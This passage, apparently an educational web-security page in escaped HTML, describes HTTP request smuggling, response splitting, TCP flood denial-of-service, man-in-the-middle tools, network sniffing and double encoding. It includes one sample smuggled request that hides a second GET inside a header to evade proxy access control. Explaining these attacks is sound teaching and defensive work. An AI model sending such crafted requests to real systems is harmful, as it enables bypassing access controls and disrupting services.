&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Basically the attack
consists of submitting an HTTP request that encapsulates a second HTTP request
in the same header, as shown below.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; border: dashed #2F6FAB 1.0pt; mso-border-alt: dashed #2F6FAB .75pt; mso-element: para-border-div; padding: 12.0pt 12.0pt 12.0pt 12.0pt;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;GET /some_page.jsp?param1=value1&amp;amp;param2=&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Content-Type: application/x-www-form-&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Content-Length: 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Foobar: GET /mypage.jsp HTTP/1.0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Cookie: my_id=1234567&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Authorization: Basic ugwerwguwygruwy&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;In this case, the first
HTTP header is parsed by the proxy system and the second by the final system,
permitting the attacker to bypass the proxy’s access control.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Also...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; color: #444444; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;HTTP
Request Smuggling is an attack technique that abuses the discrepancy in parsing
of non RFC compliant HTTP requests between two HTTP devices (typically a
front-end proxy or HTTP-enabled firewall and a back-end web server) to smuggle
a request to the second device &quot;through&quot; the first device. This
technique enables the attacker to send one set of requests to the second device
while the first device sees a different set of requests. In turn, this
facilitates several possible exploitations, such as partial cache poisoning,
bypassing firewall protection and XSS.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



HTTP Response
Splitting&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;HTTP response splitting
occurs when:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Data enters a web application
     through an untrusted source, most frequently an HTTP request.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The data is included in an HTTP
     response header sent to a web user without being validated for malicious
     characters.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;HTTP response splitting
is a means to an end, not an end in itself. At its root, the attack is
straightforward: an attacker passes malicious data to a vulnerable application,
and the application includes the data in an HTTP response header.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;To mount a successful
exploit, the application must allow input that contains CR (carriage return,
also given by&amp;nbsp;%0d or \r) and LF (line feed, also given by&amp;nbsp;%0a or
\n)characters into the header. These characters not only give attackers control
of the remaining headers and body of the response the application intends to
send, but also allow them to create additional responses entirely under their
control.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Traffic flood&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Traffic Flood is a type
of DoS attack targeting web servers. The attack explores the way that the TCP
connection is managed. The attack consists of the generation of a lot of
well-crafted TCP requisitions, with the objective to stop the Web Server or
cause a performance decrease.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The attack explores a
characteristic of the HTTP protocol, opening many connections at the same time
to attend a single requisition. This special feature of the http protocol,
which consists of opening a TCP connection for every html object and closing
it, could be used to make two different kinds of exploitations. The Connect
attack is done during the establishment of the connection, and the Closing
attack is done during the connection closing.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Examples:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Connect attack&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This type of attack
consists of establishing a big number of fake TCP connections with an
incomplete HTTP request until the web server is overwhelmed with connections
and stops responding.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The aim of the
incomplete HTTP request is to keep the web server, with the TCP connection in
Established state, waiting for the completion of the request, as shown in
figure 1. Depending on the implementation of the web server, the connection
stays in this state until there is a timeout of the TCP connection or of the
web server. In this way it’s possible to establish a great number of new connections
before the first ones begin to timeout. Moreover, the generation rate of new
connections grows faster than the expiring ones.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The attack could also
affect a firewall that implements a proxy like access control as Checkpoint
FW1.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Closing Attack&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The Closing Attack is
done during the ending steps of a TCP connection, exploring how some web
servers deal with the finalization of the TCP connection especially with the
FIN_WAIT_1 state. The attack, as explained by Stanislav Shalunov, &quot;comes
in two flavors: mbufs exhaustion and process saturation.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;When doing mbufs
exhaustion, one wants the user-level process on the other end to write the data
without blocking and closing the descriptor. The kernel will have to deal with
all the data, and the user-level process will be free, so that more requests
can be sent this way and eventually consume all the mbufs or all physical
memory, if mbufs are allocated dynamically.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;When doing process
saturation, one wants user-level process to block while trying to write data.
The architecture of many HTTP servers will allow serving only a certain number
of connections at a time. When this number of connections is reached, the
server will stop responding to legitimate users. If the server doesn&#39;t put a
bound on the number of connections, resources will still be tied up and
eventually the machine comes to a crawling halt.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Asymmetric resource
consumption&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;An
attacker can force a victim to consume more resources than should be allowed
for the attacker&#39;s level of access. The program can potentially fail to release
or incorrectly release a system resource.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Spoofing&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Man-in-the-middle
attack&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
man-in-the middle attack intercepts a communication between two systems.The
MITM attack is very effective because of the nature of the http protocol and
data transfer which are all ASCII based.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h4&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;MITM
Attack tools&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h4&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;There are several tools to
realize a MITM attack. These tools are particularly efficient in LAN network
environments, because they implement extra functionalities, like the arp spoof
capabilities that permit the interception of communication between hosts.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;PacketCreator&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Ettercap&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Dsniff&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Cain e Abel&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;MITM
Proxy only tools&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h4&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Proxy tools only permit
interactiion with the parts of the HTTP protocol, like the header and the body
of a transaction, but do not have the capability to intercept the TCP
connection between client and server. To intercept the communication, it’s
necessary to use other network attack tools or configure the browser.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/OWASP_WebScarab&quot; title=&quot;OWASP WebScarab&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;OWASP WebScarab&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Paros Proxy&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Burp Proxy&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;ProxyFuzz&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Odysseus Proxy&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Fiddler (by Microsoft)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Sniffing
Attacks&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Network
Eavesdropping&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Network Eavesdropping or
network sniffing is a network layer attack consisting of capturing packets from
the network transmitted by others&#39; computers and reading the data content in
search of sensitive information like passwords, session tokens, or any kind of
confidential information.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The attack could be done using
tools called network sniffers. These tools collect packets on the network and,
depending on the quality of the tool, analyze the collected data like protocol
decoders or stream reassembling.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Depending on the network
context, for the sniffing to be the effective, some conditions must be met:&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h4&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;•
LAN environment with HUBs&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h4&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This is the ideal case because
the hub is a network repeater that duplicates every network frame received to
all ports, so the attack is very simple to implement because no other condition
must be met.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h4&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;•
LAN environment with switches&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h4&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;To be effective for
eavesdropping, a preliminary condition must be met. Because a switch by default
only transmits a frame to the port, a mechanism that will duplicate or will
redirect the network packets to an evil system is necessary. For example, to
duplicate traffic from one port to another port, a special configuration on the
switch is necessary. To redirect the traffic from one port to another, there
must be a preliminary exploitation like the arp spoof attack. In this attack,
the evil system acts like a router between the victim’s communication, making
it possible to sniff the exchanged packets.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h4&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;•
WAN environment&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h4&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;In this case, to make a network
sniff it&#39;s necessary that the evil system becomes a router between the client
server communications. One way to implement this exploit is with a DNS spoof
attack to the client system.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Network Eavesdropping is a
passive attack which is very difficult to discover. It could be identified by
the effect of the preliminary condition or, in some cases, by inducing the evil
system to respond a fake request directed to the evil system IP but with the
MAC address of a different system.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h2&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Resource
Manipulation&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Double
Encoding&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack technique consists
of encoding user request parameters twice in hexadecimal format in order to
bypass security controls or cause unexpected behavior from the application.
It&#39;s possible because the webserver accepts and processes client requests in
many encoded forms.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;By using double encoding it’s
possible to bypass security filters that only decode user input once. The
second decoding process is executed by the backend platform or modules that
properly handle encoded data, but don&#39;t have the corresponding security checks
in place.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Attackers can inject double
encoding in pathnames or query strings to bypass the authentication schema and
security filters in use by the web application.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
